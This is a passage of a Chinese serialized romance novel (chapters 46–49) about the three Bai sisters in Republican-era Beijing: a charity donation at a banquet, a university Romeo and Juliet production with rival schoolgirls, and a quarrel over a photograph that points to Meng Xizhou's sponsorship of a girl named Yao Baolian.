等在角落的叶小姐一见堂哥回来了,赶紧上去把人截住,嘴里问个不停:“怎么样?怎么样?她是什么人?” 叶祖安正受了不小的打击,哪里还有心情应付她,但转念一想,他们都是得不到爱情的眷顾,岂不是同病相怜?又觉得这小东西也怪可怜的,劝道:“我早让你死心了,她是什么人,你心里不早有答案了吗?唉,你也别太伤心吧,不光是你宣告失败,我刚才也是失败了一场哩!” 另一边,白瑾璎从盥洗室出来后,就碰到了游说来宾做小捐款的年轻办事员。 这也是各大宴会里常有的,因为邀请的客人多,还会请记者过来拍相片写文章,故而总会有一些“朋友的朋友”,靠人脉拿到一份请帖,为初初创办尚未见起色的小公司或资金短缺的学校发起私下的小募捐。 那年轻姑娘怯生生地站着,想必已经碰了不少壁,见白瑾璎实在很面善,这才又鼓足了勇气冲上来的。想不到白瑾璎会问起她们临时小学的位置,又问了平时教些什么,有多少学生,竟问得很仔细,问完了,真就写了一笔两百元的捐款。一下有了成果,她反倒更加手足无措了。 蒋牧城找来的时候,白瑾璎正把写字用的自来水笔还到那年轻老师的手上。 蒋牧城看了眼捐款名册,统共就写了三条,前两条都是二十、四十的小数字,到了白瑾璎,一下便是醒目的两百。好笑道:“你的钱袋子,也太松了点。” 白瑾璎不大服气,反驳道:“你以为人家是骗钱的吗?我都问清楚了,人家是自发办了一个小学,办得很用心呢。这是于社会有利又很高尚的事,既然我有余力,为什么不出一点呢?” 蒋牧城又看了一眼那女老师,见她的衣服鞋子都是半新的,人也是很朴实的气质,也觉得不像骗人。于是先是致歉,又说:“连你都捐款了,我这个办公务的要是无所作为,那太说不过去了。我的余力应当比你多一点,就写四百元吧。” 合计就是六百元钱,可不是天上掉下来的大惊喜!那年轻的姑娘简直有些不可置信,只管愣在原地,直到蒋牧城问她要捐款名册,她才回神。 蒋牧城抽出自来水笔填了一页支票本,又在捐款名册上白瑾璎的下方,对照着写上自己的名字,那一刻,心里真有一种隐秘的快乐,似乎捐款大半的意义就在于此了——不夹带别的任何人,只是他们两个同心同德,一道做了件有意义的事。 这一阵快乐,甚至盖过了刚才被叶祖安勾起的烦闷郁气,蒋牧城写完了,自己也没有意识到嘴角又微微地上扬起来,伸出胳膊示意白瑾璎挽上,说:“走吧,我带你去见见那位翻译学家。” 交流会顺利地进行着,叶小姐兀自心碎了一地,想来想去也不甘心,总想冲到那位白小姐面前亲自试探几句,可总也找不到机会。不是蒋牧城在旁边护着她,就是她在和另一位老先生谈话。 叶小姐悄悄打听了一下,那老先生还是个什么文学翻译的教授哩,她自知肚子里没几两墨水,去了也是听天书徒增尴尬,到底皱皱鼻子退缩了。 直到宴会接近尾声,叶祖安拎着她去和蒋牧城碰杯,才总算是打了个正式的照面。近距离当面一瞧,才觉得这白小姐确实是美丽,不光美丽,还有一种楚楚可怜的娇弱,但又全没有矫揉的姿态。心里的酸气儿冒了好一会儿,才勉强承认自己是比她差了一小点点。 可是见都见了,不说句话吗?但彼此也不认识,说什么?想来想去,目光落到了她纤细脖子上的那一挂项链。 叶小姐挤了个笑脸,开口搭讪道:“你小姐的项链好漂亮啊,比市面上寻常的珍珠都要滚圆莹润,不知道是哪里买的?贵不贵?我让我堂哥也给我买一挂!” 旁边叶祖安的视线还是忍不住地往白瑾璎身上黏,此时凑一脚道:“怎么不去找二叔,干嘛要我给你买?不过,白小姐的眼光确实好,尤其项链戴在本人身上,那更是交相辉映。” 白瑾璎愣了一愣,这挂珍珠不是她买的,叶小姐的话她答不上来,叶先生的谬赞她也接不下,下意识就想将求救的视线投向蒋牧城。 白瑾璎面露窘迫没有说话,对面叶小姐也为这一秒的沉默如临大敌,想:怎么白小姐不搭我的腔?我没有问什么很难的问题呀,时下哪位小姐不对自己的首饰如数家珍?难道是不想和我说话?看她的样子,似乎也不像啊,莫不是格外的怕生? 自然了,这千头万绪只发生在短短的几秒之间,蒋牧城很快就接过话来:“是在兴业百货订的舶来品,不过是很多年前买的了,现在是不是还有,那不好说。” 言下之意是:不但这项链是我送的,还是好多年前就送了的,彼此的感情基础经过时间的考验,那可是很坚实的。对叶祖安而言,也未必不是一种嘲讽:想不到吧?你说的眼光好,说的其实是我呢! 说罢,客气地向这对堂兄妹一点头以示告辞,左手由白瑾璎的背后环过,轻扣上她的手臂道:“走吧。”这又是一个极具保护和占有意味的动作。 直到两人走了,叶祖安才终于后知后觉地,吐出了那个堵在嗓子眼的脏字;而叶小姐呢,也是时候把那颗破碎的心收拢收拢,擦擦干净再拼回去了;至于白瑾璎,直等她坐进车里才意识到:啊呀!原来他早认出来我戴的是他送的项链呢! 此时此刻,要说谁的心情最愉快,那恐怕非蒋牧城莫属了。 第46章 第 46 章 爱情戏不拉手,还叫什么…… 白瑾璎这天是晚上八点钟回的家, 在椿樟街路口被蒋牧城放下车后径自往家里走,想不到正赶上家里的洋车停在36号大门口,看见白瑾琪欢跳着从车上下来。 她下意识看了看天色, 已然是墨黑一片了, 只街道里几盏路灯像凿开几个小口子, 晕出幽幽的黄光来。上去把人拉住道:“你这是出去了整一天吗?怎么这么晚才回来?” 白瑾琪一脸雀跃的喜色, 笑道:“二姐, 我没有同你说过吗?我们戏剧社最近排演剧目呢,休息日也要匀出一天来排练,我又挑着女主角的大梁,当然练得格外晚些。不过晚也不要紧, 大姐姐让家里的车来接我呢!” 白瑾璎这才记起来, 似乎是有这么一回事, 白瑾琪兴致高昂地描绘过如何如何又叫程巧书铩羽而归之类,不过自己这阵子总是心不在焉, 不是在想蒋牧城的事, 就是挂心徐克行的事, 许多事过了耳就忘了, 这样实在不好。 好在家里还有个思虑缜密又周全的白瑾瑜,知道有她派司机去接老三, 那一点担心也就消散了, 夸道:“你竟是女主角吗?好厉害。什么时候上演?我说什么也要去观摩一番才行。” 有白瑾璎这一番称赞, 又想到大姐姐虽然面上不显, 到底对自己车接车送的,在这凉飕飕的初秋夜里,白瑾琪竟觉得心里暖烘烘的,直如心满意足的猫咪一般微仰着头。 道:“这有什么难?我虽然只是个演出股, 不管票务派发的事,两张门票还是能弄到手的。到时候你和大姐一起来,好好瞧瞧我的本事,要不然,你们还总当我在玩闹混日子哩!” 说着,两人相互挽着手,往家门口慢慢踱去。 白瑾琪自认在演出一事上受到了鼓舞,一夜好眠后,第二天仍是满心欢喜,去礼堂排练时,对谁都是面带三分笑,引得郑家树都频频去看她。 可想而知程巧书有多不痛快。先前分派角色时,她也是卖力非常,怎奈有高年级的学姐们压在头上,最终只分得一个母亲辈份的妇人角色。演吧,就要故意往年长了来化妆,怎能愿意?不演吧,那就连排练都没得参加了,何谈让郑学长记住自己呢? 试探来打听去,最终还是向一位学姐许了两件时髦头饰做好处,才换到了一个年轻小姐的边角角色,负责和其他小姐们议论议论贵族之间的流言和男女主角的蜚语。 那也不错了,既能借排练的机会往郑家树眼前凑,也不必把自己画老画丑,台词戏份少,还有时间和戏剧社其他学姐打打交道,笼络人心。就她知道的,因为白瑾琪这个新成员和社长搭戏的缘故,已经有许多学姐暗地不满了。 那边白瑾琪和郑家树走戏走得顺畅,两人一个娇俏活泼一个丰神俊朗,本来就是芳心摇荡的少男少女,四目相对之间,真有一种半遮掩半袒露的热烈情绪通过眼神流动着。又因为白瑾琪打着要气死程巧书的主意,不拘郑家树是冲她微笑还是搭话,她都照单全收,殷切回应。 互诉衷肠的一幕演过一遍后,副社长胡小梦喊了暂停,和几个文书股商量起如何改台词来。改过之后,势必还要再演一遍的,郑家树便有意没有放开拉着白瑾琪的手,后者也不在意,随他拉着。 反倒是程巧书眼热非常,忍不住道:“咦?怎么戏演完了,手还牵着呢?”她心里虽然嫉妒,开口却是轻飘飘的,仅仅像是说出一个不寻常的发现,反倒引得其他姑娘们都去看两人交握的手了。 白瑾琪这才后知后觉地扫了程巧书一眼,见她死死盯着自己被握着的手,只差把妒恨两个字写在脸上了,心里嗤笑道:哈!瞧她这样子,大概恨不得我手腕以下这双手,是长在她自己身上的吧! 手腕活络两下挣脱开,冲郑家树歉意地一笑,说:“抱歉抱歉,学长怎么也不松开我?我这个新手初初学演戏,常常沉浸在场景里出不来呢。” 郑家树从善如流地松开手,却不作答。不过单冲他这张俊脸,姑娘们也不会苛责他,只会把火气撒在另一个人身上罢了。果然,其中一个鄙夷了一句:“拉拉扯扯,真不要脸!” 那说话声也不大,想必忍一时之气,对方也不会穷追猛打的,偏偏白瑾琪最不能受的就是气,当下故作天真地拿起台本看了眼,追着她高声道:“咦?我在这里不能拉手吗?剧本上明明写着两手交握呀,还是学姐觉得这里不拉手更好呢?学姐在表演上的经验肯定比我足,我很愿意听听学姐的指教呢!” 又扭过头,故意对郑家树问道:“郑学长,你怎么看?要说演戏的经验,恐怕没人比得过你啦。” 郑家树只是冲她狡黠地一笑,似乎早已看穿她装巧卖乖的把戏一般。白瑾琪也不怵他,看穿就看穿,横竖女主角已选定了是她,把她气得撂担子不干,难道他就有好果子吃吗?毫不怯弱地冲他笑了回去。 倒是台下女社员们窸窸窣窣的议论声引起了胡小梦的注意,拧着眉头从纸页上抬起头来,喊道:“吵什么?吵什么?!” 女学生们你看我我看你,互相推诿着,把那个最早挑刺的推了出来。那姑娘见那么多人盯着自己,又是难堪又是不服,嘟囔道:“我说错了吗?排练而已,手拉上就不放了,也是郑学长脾气好”说到后头,声音越发放低了。 白瑾琪真给气笑了,心说就是家里大姐偏心二姐,也没有像这样偏到天边去。 脸上却很谦逊,说:“学姐的意思,是不是主人公在这里不要拉手为好?学姐见不得朱丽叶和人拉拉扯扯呢,觉得不够高贵端庄,是不是?怎么演好?我是很愿意配合的。” 胡小梦闻言,两根眉毛简直要竖起来,怒道:“爱情戏不拉手,还叫什么爱情戏?不如改做朗诵好了!张悦,你是头一次排戏吗?拉手都见不得?这么迂,我还当你裹着小脚呢!” 这两句话掷地有声,于是一众人立刻又见风使舵地捧起胡小梦来。 一说,“就是这个道理呀,凡追求艺术的,抛头露面是常事。这不行那不行的,倒显得做作。”又说,“是呀,拉个手而已,我看现在的新电影,不说拉手,亲嘴都有呢!真是少见多怪,刚才谁提到拉手的?” 张悦被当众训了一顿,臊得眼泪都在眼眶里打转,猛一听见有人提到始作俑者,赶忙救命稻草一般抓着不放,说:“程同学,你是头一个指出的人,想必心里也觉得不妥吧?请你评评理,我,我真是冤枉死了!” 这一下,所有人的目光又都看向程巧书了。 程巧书心里又急又恼,背上都起了层薄汗。她刚见识过胡小梦的激烈态度,可不敢踩这一颗雷,涨红了脸才憋出一句说辞:“我没有觉得不妥,就是觉得,既然是拿外国故事做改编,体现一点中国的含蓄之美,岂不是更好?”说罢,硬是挤出一点微笑在脸上。 这次不等胡小梦说话,旁边的文书股就先不服气了,推着鼻梁上的眼镜道:“拉一拉手,怎么不含蓄呢?诗词里还有写‘执子之手,与子偕老的呢。我们在编写的时候,可是下足了功夫考据的!” 胡小梦也跟着叹口气,揉着眉头道:“你是个门外汉,我就给你讲讲。舞台表演的台词声音固然重要,可要是没有动作,那就是两根会说话的木头桩子杵在台上,有什么可看的?所以非但要有动作,且这动作要越大越饱满才好,你想,星月剧场那样大的场子,你这边动作小了,坐在后排的人能看见什么?人家瞧着只觉得你鬼鬼祟祟呢!” 对着一众社员正色道:“诸位加入戏剧社至今,对戏剧总也有些热爱和专业精神吧?好容易要粉墨登场了,就让人家看一出错漏百出的戏码吗?说出去清江大学的戏剧社名不副实,诸位脸上就好看了?唉,既然决定了来参演,更应该齐心协力,把这幕剧演好才是啊!” 至此,底下安静一片,女学生们无不是面带惭愧,歇下了滋事吵闹的心。如此情形之下,程巧书也只能不吱声了。 白瑾琪倒是被胡小梦的一番发言刺激得豪情万丈起来,心想:大姐姐二姐姐想来挺支持我在戏剧社活跃,又有如此刚正不阿的“戏痴”社长保驾护航,好哇,我还愁不能在舞台上大展拳脚吗! 于是排练完后照旧去胡小梦那儿,借请教之名行卖乖之实,末了还问她讨要两张门票。 胡小梦却少见的面露一点难色,说:“我管文书股和演出股,可票务是交际股的事,我给你问一问,可不敢打保票。” 白瑾琪心想,这可怎么好,我可是已经给家里两个姐姐打了保票了呀!正想再撒一撒娇,忽听背后一个声音道:“你怎么不问问交际股归谁管呢?白同学,你是拜错真神了。” 原来是郑家树背着手站在她身后,看那一脸骄矜自得,可见所谓的“真神”正是他本人了。 白瑾琪也不扭捏,立刻笑脸相迎道:“郑学长,帮帮忙。你瞧,你演罗密欧我演朱丽叶,这交情可不浅呀,区区两张演出门票,还不能通融一二吗?”双手合十,抵在桃心脸尖尖的下巴上,拜了一拜。 至此,两张门票到手。当然,这门票没能请到白瑾璎,倒是请来了另一尊大佛,这就是后话了。 第47章 第 47 章 帷幕一开,亮堂堂的舞台…… 清江大学虽于学术上建树平平, 但戏剧社的发展确实不容小觑。内有胡小梦这个“戏痴”坐镇,外有郑家树带头动员交际,这出新式话剧在星河剧场演出的当天, 观众竟是络绎不绝, 里头更不乏几位社会名流。 白瑾琪已经换好了戏服, 人虽站在后台, 却从厚重的帷幕后探出头来期盼地张望。 只见入场的观众有男有女, 大多穿得得体考究,太太小姐们更是如此了,不拘是旗袍还是洋装,总之个个衣香鬓影。白瑾瑜和白瑾璎在哪儿呢?不是她爱夸口, 自己这两个姐姐, 一个明艳夺目一个秀美绝伦, 随便哪一个往人群里一站,都是吸人眼球的存在, 更遑论是两个人一道出现了。到时候和人一说是专程来看她的, 那多么长脸! 黑葡萄似的一对眼珠透着浅浅的得意, 滴溜溜转了一圈——啊呀!来了! 怪道她一打眼没有瞧见呢, 原来白瑾瑜今天没穿洋装,倒穿了一身绣玉兰花的新式旗袍, 颜色也浅淡, 硬是把她明艳逼人的气度往下压了几分, 但掩盖不住她神采奕奕又明眸皓齿, 仍旧是人群里出类拔萃的一颗明珠。 白瑾琪在心里一瘪嘴,暗道:平日赴宴会时那样珠光宝气,怎么今天倒低调起来?哼,虽然这样也不差 继而把目光往旁边移, 这一看倒吃了一惊,白瑾瑜旁边分明站着个男人哩!哪里有白瑾璎的影子? 再定睛一看,又觉得那男的格外眼熟,倒像是在哪里见过似的——咦!对对对!是那次香山上庆祝二姐姐升学的小聚会呀!只记得介绍时说是她前姐夫——呸!那姓柳的顶头上司,连自家大姐姐都待他格外客气,可见是个厉害人物,想不到大姐姐不但同他有来往,还能请动他纡尊降贵来看一个小小社团举办的公益演出,这交情不大浅哩! 兀自胡乱猜想着,忽听背后有人问:“女主角呢?女主角呢?” 原来是胡小梦到处找她,拉了她的胳膊就往后台深处的化妆间走,一面说:“我的小祖宗,妆还没有化完,你乱跑什么?快快快!把眉毛描一描,胭脂和口红都要多上一些,不然台上灯光一打,舞台底下还能看出什么?” 白瑾琪的人虽被按在梳妆镜前不能动弹,两只耳朵却伸得老长,还有一群女学生扒拉着帷幕偷看呢,这个先生是谁哪位太太有钱,你一言我一语的八卦直往她耳朵里灌。 忽而有人惊叹道:“诶!你瞧那人——坐在第三排的那位先生,瞧那身量,那气派,真俊!交际股在哪儿?快去问问那是谁!” 立马有人激动道:“不必去问交际股,我知道!那是和平造船厂和兴安船运公司的孟先生哩!告诉你吧,我家里一个叔叔是造船厂的工程师,从前常和他一起开会,对他赞不绝口呢!” 一时间似乎有人不信:“真的?他瞧着很年轻呀,真有这么大能耐?别是认错人了吧?” 想不到郑家树换完了装恰好路过,也探头瞧了一眼,接话道:“错不了,是他。我父亲也和兴安船运谈了合作,还专门设宴席款待过他,待他很是恭敬客气。” 众人虽不大清楚郑家树家里具体干的什么,但看他平日里穿戴不俗,出手也很大方,时不时会在社里请个小客,也知道郑家是做大生意的富户,当下就相信了十成十。 惊叹道:“啊呀!咱们的交际股不得了呀,竟请来一个大人物!到时候报纸上写一写,说孟公子莅临星河剧场观摩新话剧,我们岂不是大获成功?” 白瑾琪一边听,一边得意道:哪里是交际股请来的,分明是我大姐姐把人带来的,可我大姐姐的票又是哪儿来的呢?说到底,那人算是我间接请来的哩! 越想越得意,连白瑾璎为什么没来也暂且不管了,刚想开口自夸一句,却被人转了转下巴,“对对,把嘴唇张开一点,我给你抹口红呢。” 嘴唇半张着不能动,那句话也只好先咽回肚子里去。 那边白瑾琪收了魂,这边七嘴八舌的议论却没结束,一群女学生从孟先生说到了孟先生旁边的女伴身上,“那一准是他女朋友,我看得真真的,从入场开始他们就走在一起。唉,优秀的先生可早早就被人抢走了。” 也有人不大服气,“未必吧?如今社交公开了,男男女女一道出来顽顽的也不少,充其量就是个朋友,哪里看出来是女朋友了?” 她们七嘴八舌说个不停,程巧书却是认出来了:孟先生旁边这个穿天青色旗袍的女伴,不正是白瑾琪的姐姐白瑾瑜吗! 说起来,她和白瑾琪真算是“宿敌”了,从中学开始便较上了劲。她表面上做出瞧不上白瑾琪这个脑袋空空的“草包美人”的不屑模样,背地里却格外在意她的一举一动,生怕自己被她比下去太多。是以白瑾琪的两个姐姐长什么模样,她当然知道。 本来白总长事故身亡,白家式微,她正大感快慰呢,此刻看到台下的二人,心里的危机感又生生给吊了起来。 仔细回想,仿佛老早之前钱瑞芝两姐妹就吹嘘过,说受邀参加了白家老二在香山办的庆祝宴,席间还有两位先生来恭贺,一个姓柳,另一个就姓孟。若果真是台下这位孟先生,这都多少年了,即便只是普通朋友,交情也不浅了。 呵,都说“百足之虫死而不僵”,可见即便没了父亲,白家的人脉还是不少。是了是了,除了这个孟先生,白家不是还有个交情很深的世伯吗?恍惚记得是在总统府任 程巧书顿时倒吸一口气,庆幸自己多想了一层:她父亲不过在交通部任处长,要是真惹翻了白瑾琪,让她哭到世伯那儿去,自己真能跟她硬碰硬吗?看来,往后可不能把“敌对”的身份挂在明面上,人前冷嘲热讽或是奚落那一套,也要改一改了。真想要白瑾琪好看,还是得找准机会一击制胜,叫她没得还手才好。白瑾琪轻狂张扬的本性难移,还怕抓不住她的小辫子吗? 这样想着,不声不响地,默默退到了人群的后方。 帷幕一阖,多少流言与心思都被掩藏其后;帷幕一开,亮堂堂的舞台上,好戏也就上演了。 因为白瑾瑜坐在台下的缘故,白瑾琪打起了十二分的精神,有意要在这个不大关注自己的大姐姐面前表现一回,不拘是台词还是动作,都演得格外卖力。其间太过投入,以至于都忘了分心去看一眼白瑾瑜的反应。 好不容易等到了和男主角互诉衷情的一幕,白瑾琪借着面向观众席说台词的当口,飞快地向第三排瞥去一眼。 只见白瑾瑜靠在椅背上以手支颐,脸上面无表情,不说与有荣焉,竟是一副百无聊赖的姿态哩! 这是嫌我演得不好吗!白瑾琪心里登时火冒三丈,借着那直冲脑门的怒气,再想一想陈芳藻撇下她不管的那一份委屈,眼圈儿顿时就红了。拉着郑家树的手直演得声泪俱下,倒把后台控场的胡小梦看得一阵阵激动。 舞台下,反倒是被临时拉来的孟西洲看得津津有味,觉得一群半大不小的学生在台上又是哭又是笑,一会儿咬牙切齿一会儿又感叹爱情的样子,别有一番看乐子的趣味。 再看旁边的白瑾瑜,见她始终木着一张脸,时不时还困惑地皱眉,显示出不大赞同的神色,便趁幕间休息时,近近的凑过去问:“不有趣吗?我看你妹妹演得不坏呢。” 白瑾瑜瞅了他一眼,考虑到剧场里安静的氛围,也就默许了他近乎于无的距离,小声道:“腻腻歪歪的爱情剧,我不爱看。” 再说回台上,男女主角已然双双殉情,考虑到中国人一贯爱圆满的审美,戏剧社的文书股们特意加了最后“天堂团聚”的一幕,一来切合美满,二来显示创新。 白瑾琪之前哭得狠了,眼圈鼻尖和脸颊都是红扑扑的,在后台补了点香粉,倒像是从白皙的皮肤里沁出一层动人的红晕。满怀喜悦地,奔向舞台另一边的郑家树。 郑家树也不知是被她感染得入戏太深,还是从来就觉得她伶俐活泼,此刻又受到了她灵气四溢的演技震撼,倾慕更加深一层,看着白瑾琪,真觉得她像撞进自己怀里的精灵一般,可爱得叫人舍不得放手。 于是形随心动,原本不过是彼此相拥的戏码,郑家树搂上白瑾琪后,竟抱起她原地转了个圈,将那失而复得的喜悦,演了个十成十。 台下似乎传来浅浅的惊呼,随着帷幕落下,观众席在一秒钟的静默后,爆发出如雷的掌声。不光是观众,连站在后台的演员们都是掌声连连,胡小梦已激动地哭了,一看见白瑾琪下场,便冲上前抱着她道:“演得好!演得好!之前多少次彩排,都不能和今天这一场相提并论!” 她这一抱就不撒手,白瑾琪嘴上说着“不敢当”,心里却急着想去后台卸妆换衣。 既然是公益演出,戏演完了,就该让到场的观众募捐了。她可着急想去看一眼募捐簿,瞧瞧大姐姐为了她肯捐多少呢! 第48章 第 48 章 撕它做什么,我都看到了…… 募捐簿在观众席上传阅了大半圈, 最终连同自来水笔放到了舞台旁边的小圆桌上,要是还有哪一位想献点爱心,自可以来写一笔。 白瑾琪换了衣裳从后台溜出来时, 到底瞄到一眼, 那之后就有点怏怏不乐, 找到白瑾瑜后先就问:“二姐姐怎么没来呢?”心里胡乱腹诽:不要是这个孟先生身份高, 就把二姐姐的门票挤占了吧?二姐姐那么好性子, 肯定抢不过他。 白瑾瑜说:“本来要来的,衣服都换好了。但你知道这两天正是各中学的期中考试,今天本不必她监考,但同办公室一个老师临时要陪孩子去医院, 只能由她顶上了。” 见她憋着嘴, 便作势在她下巴上拧了一下, “你有什么不满意的?不高兴我请孟先生来吗?” 这是要祸水东引哇!白瑾琪瞅了瞅站在旁边的孟西洲,后者倒像是还记得她似的, 点了点头以示问候。他表现得那么友好, 自己哪里还说得出半句坏话? 于是拉了拉白瑾瑜的袖子, 把人带远一点, 才嘟囔着说:“我刚刚瞧见捐款簿了,你写了一百元, 程巧书的爸爸可写了三百元呢” 其实论金额, 程巧书也不算独占鳌头, 譬如郑家树的亲属虽未出席, 但也代捐了三百元,可郑家树捐多捐少关她什么事?被程巧书压下一头,才怪叫人不服气的。 白瑾瑜又是好气又是好笑,心道, 这是嫌她捐得少了?伸出手指往桃心脸的脑门儿上戳了一下,说:“你们这种公益汇演,募得的钱款大概会用去哪里,我就不说了。还要我再白出两百块给你充门面吗?我又不傻。有这两百块,给你买几件新衣服新皮鞋,不好吗?” 白瑾琪本来还嘟着嘴的,听到这话又收了回去,抬着乌溜溜的眼睛问:“真给我买新衣服吗?” 白瑾瑜这下只剩下好笑了,一连说了好几句“买”,才算把这个小东西给哄住。 自己的事谈妥了,白瑾琪才肯把多余的心思分给别人,用眼神示意一下不远处的孟西洲,暗戳戳问道:“那——这就是我新姐夫了?” 白瑾瑜笑了一声,并没有承认,只说:“你只记着我是你姐姐就行,至于哪一个是你姐夫,有什么要紧?” 白瑾琪吃了一惊,又偷看孟西洲一眼,心道:单看脸,这个姓孟的确实比前头姓柳的稍逊一筹,可通身的风度气派可胜过太多啦,就这样的,大姐姐还不满意吗? 可转念又觉得,姓柳的当初甩开我姐的时候,不就是料定她找不到更好的么?瞧瞧现在!更好的还要等着考核甄选呢!顿时又觉得出了一口心里的恶气,看白瑾瑜的目光都带上了一点崇敬。 又说了两句,后台戏剧社的成员来叫人,白瑾琪才讪笑了两声,说:“那你们就先回吧,演出顺利结束,我们还要去庆功呢。”说定了八点前一定回家,便小鹿似的跑远了。 孟西洲虽远远地站着,注意力却时刻放在她二人身上,见白瑾琪跑开了,当即便施施然走过来,问:“你们说我什么呢?” 白瑾瑜把他凑近的脸推开一点,笑道:“我们为什么要说你?我们在说今天的小捐款呢。那小东西,年纪不大,虚荣心倒不小,还指望我当一回冤大头呢。”听着不算好话,口吻中却带着格外的纵容。 孟西洲心道:你口中的小东西中途往我这儿看了好几回,怎么不是在说我?不过见白瑾瑜笑吟吟的样子,也就心照不宣似的,不再追问了。 同一时刻,白瑾瑜心里也自有思量,心想:总听人说,谈爱情也要讲天时地利人和,从前没工夫细想,现在倒觉得这话说得不错。 譬如她和柳世新交往的时候,且不说人和怎么样,光是天时和地利,就一样也没占着。 柳世新刚在船贸公司谋了份职业,她自己又四处奔走忙于开店,尤其是她,回国后的头两年几乎过得脚不沾地,不是去英国看货,就是去上海广州勘察市场,不要说培养感情,一年里能有三四次见面的机会,已是不容易了。可设若要她为了多见面而放松事业呢?那是万万做不到的。 如此土壤,又如何能长出爱情之花?可见她和柳世新,本来就是有缘无分,想通这一点,心里更是豁然一亮。 反观孟西洲,如今两人都是小有所成,不必把太多精力投入到工作中去,自然也多出不少相处的时间。孟西洲对感情倒也很积极,三不五时地挂来电话请她出门,对方邀约的次数多了,她这边自然联系得少了,毕竟人除了谈情说爱,还得干正事不是? 只是自己一次也不找他,又无端显得冷淡,说不大过去。于是这次的汇演,瑾璎一说来不了,她就想到了孟西洲,电话打得突然,想不到竟也把人约来了。 白瑾瑜面上不显,心里总归很高兴,直觉这一次和上一次是不大相同的,大概兴许,也会有不大相同的结果呢? 正想着,两人已走出了星河剧院的大门。白瑾瑜的旗袍一角被风吹得翻起一下,孟西洲看见了,脚下没有停,问:“你真不冷吗?”一面握了她的手,玩闹似的,径自塞进自己外衣的口袋里。 却听白瑾瑜小声抽了口气,手上奋力一拔,顷刻又从他的口袋里逃出生天。 孟西洲本就有点试探的意思,只当她是不喜欢生气了,心里刚生出一点失落,却见她食指关节处被划开一道细细的口子,隐隐沁出血珠来。伤口虽小,想必很痛,白瑾瑜忍不住将伤口凑到嘴边吮了一吮,拧着眉问:“你口袋里装了什么?” 孟西洲这才知道是错怪她了,心里一松,又觉得奇怪:自己口袋里什么也没装呀。 可伸手进去一摸,还真摸到了一张棱角分明的小纸片,掏出来一看,原来是一张小相。上头的女子脸蛋雪白,描眉画目,因为化妆的缘故,一张和白瑾瑜有两分相像的面貌此刻瞧着已是判若两人了,但孟西洲昨天刚见过她,又怎会认不出?分明就是北油车弄的姚宝莲。 孟西洲不妨自己被个女人摆了一道,一声冷笑还没溢出口,眼角余光瞥见白瑾瑜,显然她也看清了相片上的人物,脸上正挂着一抹冷笑哩!一时间,那冷笑发不出也收不回,反倒将自己的五脏六腑冻得透凉。 他心知白瑾瑜疑心自己,可他自认所作所为无可指摘,越遭怀疑,越不屑于解释,心里怨气横生,只想将那相片撕个粉碎才好。 不想刚一动手,就被白瑾瑜按下了:“撕它做什么,我都看到了。敢问相片上的人是谁呢?” 孟西洲看她的面色冷若冰霜,和刚才笑吟吟的样子可谓是天差地别,胃里更像是转了筋似的,气闷道:“不必知道她是谁,横竖和我没有半点关系就是了。” “没有半点关系,人家的相片又怎么会在你口袋里?”白瑾瑜反倒笑一下,也不等他回答,抬手制止道,“不必着急,不如这样吧,我给你两天时间好好想一想,到时候一并解释清楚。” 孟西洲直觉她话里有话,眉头打起结来:“这是什么意思?我现在就能说清,何必再等两天后?” 到这时,白瑾瑜的耐心也告罄了,心道:我有意给你留一条退路,你还不领情吗?重新放冷了脸色,道:“当然是给你时间自圆其说了,该想的想好,该断的断了,若到时候再让我听出话里有纰漏,我可就没这样好说话了。” 孟西洲气极了,也憋屈极了,问:“你是料定我在编谎话了?” 白瑾瑜抿着唇,并不想和他吵。他们如今正站在剧院外的马路边上,尽管彼此都放低了声音,但两个人是不是僵持对抗的样子,别人总看得出来。便说:“我们找一间店坐下谈,不要在大街上起争执。” 孟西洲气极反笑,这都涉及忠诚问题了,她还有心思讲体面呢!干脆拉了白瑾瑜的胳膊,往自己洋车的方向走,“那正好,不如就去我家好了。俗话说‘家丑不外扬,关上门来,我们也好谈个清楚。” 去的途中,还不忘将那相片一撕为二,随手丢进了街边的秽物篓里。可见这东西,他是连家门都不想带进去的。 另一边,戏剧社的庆功宴热热闹闹地直开到晚上七点多钟,结束时天都半黑了。社里的女同学,除却几个家里来接的,别的都配上一位男同学做“护花使者”,送到家里以策安全。 轮到白瑾琪的时候,好几个男学生蠢蠢欲动呢,都抵不上郑家树主动开口道:“白同学就由我来送吧,男主演送一送女主演,那也是很应当的。” 白瑾琪倒是无所谓,她本想自己叫一辆黄包车回家的,但既然郑家树自告奋勇,自己能对着一张俊脸,也不亏呀。 于是一路上边聊边走,眼看椿樟街36号已近在眼前了,不妨郑家树突然停住脚步,转过了身。 头顶上的路灯闪烁一下,正投下一片昏昏黄黄的影子将二人笼罩着,只见郑家树对她微笑一下,说:“西方戏剧里总将爱情的起源归于爱神的金箭,那金箭威力巨大,一旦谁被射中,注定要落入爱情之网。” “我从前只视其为艺术的虚构,如今才真切体会到它的威力。”说到这,又深深凝视了白瑾琪一眼,“只是白同学,一个人掉进爱情之网太可怜了,我想拉你一起,你答不答应呢?” 第49章 第 49 章 事隔许久,也该说一说住…… 事隔许久, 也该说一说住在北油车弄的姚宝莲了。 自从孟西洲发现她长得和白瑾瑜有两分相像,便暗自计较着,决不能叫她趟进皮肉生意的浑水。 北京城说小不小, 说大也不大, 设若有个认识白瑾瑜的人叫了姚宝莲的条子呢?会叫条子的人, 说起话来大多也荤素不忌, 要是寻开心到白瑾瑜的身上, 光是想一想,他便大动肝火。 是以在孟西洲提出资助之后,姚大娘便将姚宝莲送去了裕兴女子教会学堂,学堂读书的费用早已经结清, 又有每月三十块钱可以白拿, 这样的好事, 对于穷的时候连米都揭不开锅的姚家而言,哪里想得到哇! 在姚宝莲一边, 她本人虽是没有半点心思花在读书上, 然“近朱者赤”, 成天和那些活泼泼的女学生并稳重自持的教师们呆在一处, 竟也改掉了原来畏畏缩缩的小家子气,瞧着真像是个家教不差的女学生了。又她生得好看, 渐渐的竟也交到一些朋友, 上下学的路上, 也有在附近工作或路过的先生们, 将目光投注到她的身上了。 她心里感到得意,愈发对自己的外表注重起来,衣服要用有香味的皂角洗得干干净净,头发光是梳起来还不够, 得配一条丝带子才好。这些是很好实现的,三十块的家用可不算少呀,只要不是大鱼大肉地吃,每月总能余下来几块钱,买点香皂丝带又算得了什么? 这样下来,不出几个月,竟也有人托了人来打听姚宝莲今年多大,家住哪里云云,很有要相看的意思。 姚大娘如今也是长过见识的人了,看着女儿亭亭玉立的样子,又是受人高看一眼的女学生,抱着待价而沽的念头,对谁的打探也没有答复。 